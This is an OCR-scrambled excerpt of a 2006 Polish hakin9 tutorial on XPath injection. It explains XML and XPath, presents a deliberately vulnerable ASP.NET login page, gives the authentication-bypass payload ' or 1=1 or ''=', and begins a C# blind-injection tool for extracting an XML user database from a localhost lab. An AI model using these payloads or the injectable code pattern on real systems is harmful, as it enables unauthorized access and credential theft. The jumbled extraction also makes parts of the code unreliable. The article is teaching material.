Hakowanie portali - Xpath Injection .pdf

(709 KB) Pobierz
7626307 UNPDF
Wprowadzenie do technik
Xpath Injection
Praktyka
Jaime Blasco
stopień trudności
Atak typu Xpath Injection polega na zastosowaniu pewnych
manipulacji w stosunku do wyszukiwania xpath, w celu
wydobycia informacji z baz danych XML. Jest to relatywnie
nowa technika, w pewnym stopniu podobna do ataków typu Sql
injection, jak będzie można zobaczyć w dalszej części artykułu.
związane z tym rodzajem ataku, poda-
my podstawy teoretyczne, co pomoże
nam lepiej wszystko zrozumieć.
Podstawy, o których mówię, to przede
wszystkim standard XML oraz język XPATH.
Xml to skrót od Extensible Markup Language
(System składni uniwersalnego języka znaku-
jący dane), został on rozwinięty przez World
Wide Web Consortium.
Standardu tego używa się do opisywania
danych zwanych dokumentami XML. Aby zro-
zumieć, jak działa Xml najlepiej jest zapoznać
się z poniższym przykładem:
• pierwsza linijka deiniuje wersję Xml, może-
my zauważyć, że używamy wersji 1.0,
• w drugiej linijce opisujemy element źródło-
wy typu osoba,
• cztery następne linijki opisują cztery ele-
menty – dzieci źródła (imię, nazwisko, nu-
mer dowodu osobistego, irmę), a element
– dziecko numeru dowodu osobistego po-
siada atrybut private,
• w ostatniej linijce deiniujemy koniec ele-
mentu źródłowego.
Z artykułu dowiesz się...
<?xml version="1.0"?>
<osoba>
<imię>Jaime</imię>
<nazwisko>Blasco</nazwisko>
<numer dowodu osobistego private="jeżeli">
12345678w</numer dowodu
osobistego>
<irma>Eazel S.L</irma>
</osoba>
• Jak działa XML i XPATH
• Jak stosować techniki Xpath injection, aby omi-
nąć zabezpieczenia aplikacji i wydobyć infor-
macje z baz danych XML.
Powinieneś wiedzieć...
• Podstawowa znajomość C# (jeżeli znasz język
Java, nauczenie się tego kodu przyjdzie Ci bez
wysiłku).
• Znajomość protokołu HTTP.
Jak widzimy w przykładzie:
2
hakin9 Nr 5/2006
www.hakin9.org
Z anim wytłumaczymy wszystkie kwestie
7626307.020.png 7626307.021.png 7626307.022.png 7626307.023.png
Xpath Injection
Jak zdążyliśmy zapewne zauważyć,
XML to bardzo prosty i intuicyjny ję-
zyk, pozwalający nam opisywać da-
ne w sposób szybki i łatwy.
Teraz, kiedy nauczyliśmy się już,
jak działa XML potrzebny jest nam pe-
wien rodzaj mechanizmu, który po-
zwoliłby nam wykorzystać te dane. Tu
właśnie przydaje się język Xpath.
re pozwalają nam wybrać jeden wę-
zeł, posiadający specyiczną charak-
terystykę:
Listing 1. Dokument XML dla
kont użytkownika
/osoba/numer dowodu osobistego[@privat
e=”jeżeli”]
< ? xml version = "1.0" encoding =
"ISO-8859-1" ? >
< dane >
< user >
< name > jaime < / name >
< password > 1234 < / password >
< account > konto_administratora
< / account >
< / user >
< user >
< name > pedro < / name >
< password > 12345
< / password >
< account > konto_pedro
< / account >
< / user >
< user >
< name > zaproszony < / name >
< password > anonymous1234
< / password >
< account > konto_zaproszonego
< / account >
< / user >
< / dane >
Służy to wybraniu wszystkich ele-
mentów – dzieci elementu typu nu-
mer dowodu osobistego, których
atrybut private jest równy jeżeli .
Należy także wyodrębnić opera-
tory warunkowe:
Język Xpath
Xpath to skrót od XML Path Langu-
age, dzięki Xpath będziemy mogli
wybrać informację wewnątrz doku-
mentu XML odwołując się do dowol-
nego rodzaju danych w nim zawar-
tych (tekst, elementy, atrybuty).
Można używać Xpath bezpo-
średnio z aplikacji; na przykład Mi-
crosoft .NET lub Macromedia Cold-
Fusion mają domyślnie wpisaną ob-
sługę tego rodzaju narzędzia.
Stosowany przez Xpath sposób
wybierania części danego dokumen-
tu XML polega na zaprezentowaniu
jej w formie drzewka węzłów wyge-
nerowanego przez parser.
W drzewku istnieją różne rodzaje
węzłów jak na przykład:
• Operatora and używa się wsta-
wiając różne predykaty logiczne
w nawias,
• operację or przedstawia się pio-
nową kreską |,
• operacja negacji zarezerwowana
jest dla słowa not .
Jak widzicie opisujemy część zasad
składni Xpath co pozwoli nam zrozu-
mieć zaprezentowane poniżej przy-
kłady wstrzyknięć, użytych w sto-
sunku do aplikacji.
Aby stopniowo zapoznawać się
z programem, który będziemy póź-
niej analizować, użyjemy jako przy-
kładu tego samego archiwum xml
stosującego aplikację. (patrz Li-
sting 1).
Przejdźmy dalej poznając nowe
szczegóły dotyczące języka Xpath;
możemy używać podwójnego slasha
// (descendant), aby wybrać wszyst-
kie węzły wywodzące się ze zbioru
węzłów kontekstowych:
bierania wszystkich węzłów wszyst-
kich rodzajów:
//user/node() o //user/child::node()
• źródło,
• element,
• atrybut,
• tekst,
• komentarze,
• instrukcja przetwarzania.
dzięki temu zapisowi wybrane zo-
staną wszystkie węzły wywodzą-
ce się od dowolnego użytkownika
(w naszym przypadku jest ich trzy
dla każdego usera, i są to węzły ty-
pu text()).
Możemy także odwołać się do
rodzaju węzła i w ten sposób otrzy-
mamy:
Jednymi z podstawowych ilarów ję-
zyka Xpath są wyrażenia, innymi sło-
wy są to instrukcje języka.
W wyrażeniach zawarte są ope-
racje; jedną z ważniejszych jest loca-
tion path. Prostym przykładem takie-
go wyrażenia byłoby:
//user/name
dzięki temu zapisowi wybrane zosta-
ną wszystkie nazwy użytkowników.
Inne narzędzie, którym dysponu-
je Xpath to node() stosowane do wy-
text() : Węzły typu tekst,
comment() : Węzły typu komen-
tarz,
processinginstruction() : Węzły
typu instrukcja procesu.
/osoba/imię
które odwołuje się do wszystkich ele-
mentów typu imię, podwieszonych do
jakiegokolwiek elementu typu osoba,
podwieszonego z kolei do węzła źró-
dłowego. Wyrażenia w Xpath zwra-
cają nam listę odwołań do elemen-
tów, ta lista może być pusta lub za-
wierać jeden węzeł lub więcej.
Innym mechanizmem stosowa-
nym przez Xpath są predykaty, któ-
Rysunek 1. Ekran logowania
www.hakin9.org
hakin9 Nr 5/2006
3
 
7626307.001.png 7626307.002.png 7626307.003.png
 
Praktyka
Listing 2a. Aplikacja index.aspx
Ostatni opisany przez nas fragment
składni dotyczy predykatów kardynal-
nych:
<% @ Page Language = "C#" %>
< html >
< head >
< script runat = "server" >
//user[position()=n]/name
void Button1_OnClick
( object Source , EventArgs e )
{
System . Xml . XmlDocument XmlDoc =
new System . Xml . XmlDocument ();
XmlDoc . Load ( "datos.xml" );
System . Xml . XPath . XPathNavigator nav =
XmlDoc . CreateNavigator ();
System . Xml . XPath . XPathExpression expr =
nav . Compile ( "string(//user[name/text()=
'" + TextBox1 . Text + "' and
password/text()='" + TextBox2 . Text + "']
/account/text())" );
String account = Convert . ToString
( nav . Evaluate ( expr ));
if ( Check1 . Checked ) {
cadena . Text = expr . Expression ;
} else {
ł a ń cuch . Text = "" ;
}
if ( account == "" ) {
Label1 . Text = "
Access Denied" ;
} else {
Label1 . Text = "Acces Granted \n " +
"Wszedłeś na konto: "
+ account ;
}
}
< / script >
< / head >
< body >
< body BGCOLOR = "#3d5c7a" >
< br clear = "all" >
< font color = "white" >< center >
< h3 > Acceso al sistema :< / h3 >< / center >
< center >< form id = "
ServerForm" runat = "server" >
< p >
U ż ytkownik :
< p >
< asp : TextBox id =
"TextBox1" runat
"server" >
< / asp : TextBox >
< p >
Password :
< / p >
< asp : TextBox id =
"TextBox2" runat = "server" >
< / asp : TextBox >
< p >
< button id = Button1 runat =
"server" OnServerClick =
"Button1_OnClick" >
Wej ś cie
< / button >
< br >
< br >
wyrażenie to pozwoli wybrać wę-
zeł name użytkownika n. Albo inny
przykład:
//user[position()=1]/
child::node()[position()=2]
które to wyrażenie wybierze drugi
węzeł (w tym przypadku password)
pierwszego usera.
Na zakończenie opiszemy trzy
funkcje, które zastosujemy w trakcie
testu koncepcji:
count(expression) : Liczy ilość
węzłów według podanego wy-
rażenia. count(//user/child::
node()) Policzy ilość węzłów
wszystkich userów (w tym przy-
padku będzie ich dziewięć).
stringlength(string) :
Zwraca nam rozmiar okre-
ślonego string. stringlength(/
/user[position()=1]/child::
node()[position()=1]) Zwróci
nam rozmiar string istniejącego
w pierwszym węźle pierwszego
użytkownika ( jaime czyli pięć).
s u b st ri n g( st ri n g,nu m b e r,
number) : Zwraca nam podłańcuch
pierwszego elementu, rozpoczy-
nając od oznaczonej pozycji w
drugim argumencie o rozmiarze
określonym w trzecim argumen-
cie.
((//user[position()=1]/child::
node()[position()=1),2,1)
Dzięki temu otrzymamy drugą literę
pierwszego węzła (name) pierwsze-
go usera. Będzie to a .
Praktyczny przykład
podatnej na atak
aplikacji
W dalszej części artykułu przejdzie-
my do prac nad aplikacją podatną na
atak typu Xpath injection, stworzoną
specjalnie dla tego przypadku i naj-
lepiej nadającą się do celów dydak-
tycznych.
4
hakin9 Nr 5/2006
www.hakin9.org
7626307.004.png
 
7626307.005.png
 
7626307.006.png
 
7626307.007.png 7626307.008.png
 
7626307.009.png
 
Xpath Injection
Listing 2b. Aplikacja index.aspx
użytkownika wprowadzili ' or 1=1
or ''='
Wyszukanie xpath miałoby te-
raz postać:
< asp : CheckBox id =
Check1 runat = "server" Text =
"XPath Debug" / >
< font color =
"red" >< h2 >< asp : Label id =
"Label1" runat = "server" >
< / asp : Label >< / h2 >< / font >
< span id = Span1 runat = "server" / >
< / form >< / center >< / font >
< br clear = "all" >
< br >
< br >
< br >
< font color = "#11ef3b" >
< asp : Label id = "cadena" runat = "server" >
< / asp : Label >< / font >
< / body >
< / html >
string(//user[name/text()='' or 1=1
or ''='' and password/text()=
'']/account/text())
Ten nowo wprowadzony login spra-
wia, że wyszukanie zmienia się i jego
wynikiem jest zawsze pierwsza na-
zwa konta z archiwum XML.
Przypuszczam, że po przeczyta-
niu tych ostatnich fragmentów wie-
lu z was zauważyło już, że tego ro-
dzaju atak ma pewne analogie do
SQL injection, wyszukaniem SQL,
które mogłoby użyć podobnej apli-
kacji, byłoby na przykład: Select *
From users where name = '' and pas-
swd = ''
A atakujący mógłby użyć a' or
1=1 – wyszukanie zamieniłoby się
wówczas w Select * from users
where name = 'a' or 1=1 – ignorując
pozostałą część wyszukania.
W przypadku Xpath nie istnieje
odpowiednik de – aby skomentować
fragmenty wyszukania, tak więc mu-
simy zastosować inny mechanizm.
Jak mogliśmy zauważyć wcześniej
stosujemy wyszukanie ' or 1=1 or
''= w ten sposób wynikiem wyszuka-
nia był zawsze komunikat TRUE po-
przez zastosowanie dwóch następu-
jących po sobie or, żeby anulować
znaczenie operatora AND.
Po wprowadzeniu wcześniej
wspomnianego łańcucha, aplika-
cja zezwoli nam na dostęp do konta
administratora ze względu na to, że
Zanim zaczniemy, chciałbym za-
znaczyć, że użyte w tym artykule
przykłady zostały zaprogramowane
za pomocą języka C# na platformie
Mono, która pozwala nam stosować
aplikacje .NET i jest oprogramowa-
niem wolnym oraz multiplatformo-
wym (Linux, Windows, Mac OS).
Do celów programowania użyto
monodevelop, a do jego uruchomie-
nia serwera XSP – lekkiego serwera
sieciowego obsługującego asp.net.
System.Xml.XPath.XPathException:
Error during parse of
string(//user[name/text()=
''' and password/text()='']
/account/text()) --->
Mono.Xml.XPath.yyParser.
yyException: irrecoverable syntax error
Aplikacja została napisana w
asp.NET i uruchomiona w xsp(mo-
no), ponadto widzimy, że używa ona
Mono.Xml.Xpath. W tym przypad-
ku nie będzie łatwiej zburzyć logi-
kę aplikacji, ponieważ w opisie błę-
du pokazuje się nam pełne wyszu-
kanie xpath:
Pierwszy kontakt
Użyta aplikacja została pokazana w
Listingu 2.
Po podłączeniu się za pomocą
przeglądarki z serwerem xsp, poja-
wi się strona, którą można zobaczyć
na Rysunku 1.
Jak możemy zauważyć jest to pro-
sta aplikacja symulująca dostęp do
pewnego rodzaju zastrzeżonej zawar-
tości tylko dla zarejestrowanych użyt-
kowników. Teraz zastanowimy się jak
moglibyśmy sprawić, że aplikacja bę-
dzie się zachowywać w sposób nie-
typowy. Mamy dwa pola do wprowa-
dzania danych (textbox), z reguły strin-
gi użytkowników oraz passwords będą
złożone ze znaków alfanumerycznych
i być może będą miały jakiś znak spe-
cjalny, ale co by się stało, gdybyśmy
przykładowo wprowadzili jako nazwę
użytkownika zwykły przecinek (patrz
Rysunek 2). Jak możemy zaobserwo-
wać w tej linijce:
string(//user[name/text()=
'' and password/text()='']
/account/text())
Teraz zastanówmy się nad tym, co
by się stało, gdybyśmy jako login
Rysunek 2. Ekran błędu aplikacji
www.hakin9.org
hakin9 Nr 5/2006
5
 
7626307.010.png 7626307.011.png 7626307.012.png 7626307.013.png
 
Praktyka
Listing 3a. Aplikacja do wydobywania bazy danych XML
jest to konto znajdujące się na pierw-
szym miejscu w archiwum XML.
No więc tak, na razie udało nam
się uwierzytelnić się w systemie ja-
ko użytkownik, ale co jeszcze moż-
na by zrobić?
using System ;
using System . Net ;
using System . IO ;
public class injection {
static string host = "http://127.0.0.1:8080/
index.aspx?__VIEWSTATE=DA0ADgIFAQUDDgINA
A4EBQEFAwUJBQ0OBA0NDwEBBFRle
HQBBHVzZXIAAAAADQ0PAQIAAAEEcGFzcwAAAAAND
Q8BAgAAAQ1BY2Nlc3MgRGVuaWVkAAAAAA0NAAwa
GA1TeXN0ZW0uU3RyaW5nTm1zY29ybGliLCBWZXJzaW
9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgU
HVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYBBkl
0ZW0gMQEGSXRlbSAyAQZJdGVtIDMBBkl0ZW0gNAEGS
XRlbSA1AQZJdGVtIDYaGQQABgIFAAIGAAIHAAIIAAIJAA
IKAA4AAAANDQ8BAgAAAQAAAAAADgIBBkNoZWNrMQE
ITGlzdEJveDE%3D&" ;
static string zaakceptowany = "Acces Granted" ;
static string [] caracteres =
{ " " , "a" , "b" , "c" , "d" , "e" , "f" , "g" , "h" , "i" ,
"j" , "k" , "l" , "m" , "n" , "ñ" , "o" , "p" , "q" , "r" ,
"s" , "t" , "u" , "v" , "w" , "x" , "y" , "z" ,
"1" , "2" , "3" , "4" , "5" , "6" , "7" ,
"8" , "9" , "_" , "." } ;
static int liczba_zapyta ń ;
public static void Main ( string [] args ) {
// count ( // user / child :: node ()
DateTime d = DateTime . Now ;
int liczba_u ż ytkownik ó w = - 1 ;
for ( int i = 0 ;
liczba_u ż ytkownik ó w == - 1 ; i ++) {
if ( warto ść ( "' or count(//user/
child::node())=" + i + "or ''='" )) {
liczba_u ż ytkownik ó w = i ;
}
}
liczba_u ż ytkownik ó w = liczba_u ż ytkownik ó w / 3 ;
Console . WriteLine
( "Liczba_użytkowników w archiwum:
" + liczba_u ż ytkownik ó w );
// Rozpoczynamy tworzenie listy w ę z łó w
u ż ytkownik ó w
for ( int i = 1 ; i <
liczba_u ż ytkownik ó w + 1 ; i ++) {
for ( int j = 1 ; j < 4 ; j ++) {
Console . WriteLine ( texto ( i , j ));
}
}
Console . WriteLine
( "Zapytania użyte do
wydobywania danych: "
+ liczba_u ż ytkownik ó w );
Console . WriteLine
( "Czas poświęcony na przeprowadzenie tego procesu:
" + ( DateTime . Now - d ));
}
private static
string po łą czenie ( string ł a ń cuch ) {
string zapytanie =
host + "TextBox1=
" + ł a ń cuch + "&TextBox2=
a&__EVENTTARGET=Button1" ;
Uzyskanie bazy danych XML
Jak zapewne sądzicie, początkowy
wstęp teoretyczny z pierwszej części
artykułu nie miał służyć jedynie zro-
zumieniu istoty tego małego ataku
na logikę aplikacji. I słusznie, ponie-
waż od tego momentu skupimy na-
sze wysiłki na uzyskaniu pełnej bazy
danych XML.
W tym celu będziemy musieli
uciec się do pomocy tych kilku na-
rzędzi, którymi dysponujemy, a mia-
nowicie do języka Xpath i odpowie-
dzi aplikacji na nasze zapytania (ze-
zwolenie na dostęp lub odmowa do-
stępu), które będziemy stosować ja-
ko prawdziwe lub fałszywe.
Podajmy praktyczny przykład po-
wstały w wyniku zastosowania tych
dwóch narzędzi: załóżmy, że chce-
my się dowiedzieć, jaką długość ma
pierwsza nazwa użytkownika.
Spróbujemy użyć tego wyrażenia
zamiast loginu użytkownika:
' or string-length
(//user[position()=
1]/child::node()
[position()=1])=4 or ''='
Jak możecie zauważyć w wyszuka-
niu, zdaliśmy się na łut szczęścia
i zapytaliśmy aplikacji czy string
pierwszej nazwy użytkownika skła-
dał się z 4 znaków a wynikiem tego
wyszukania otrzymanym od aplikacji
był access denied (false) .
W związku z tym wypróbujemy
więcej kombinacji aż do traienia, w
tym przypadku jest to 5.
' or string-length
(//user[position()=
1]/child::node()
[position()=1])=5 or ''='
Odpowiedzią serwera jest access
granted (True) .
Podajmy inny przykład, teraz
chcemy się dowiedzieć jaka jest
6
hakin9 Nr 5/2006
www.hakin9.org
7626307.014.png
 
7626307.015.png
 
7626307.016.png
 
7626307.017.png 7626307.018.png
 
7626307.019.png
 
Zgłoś jeśli naruszono regulamin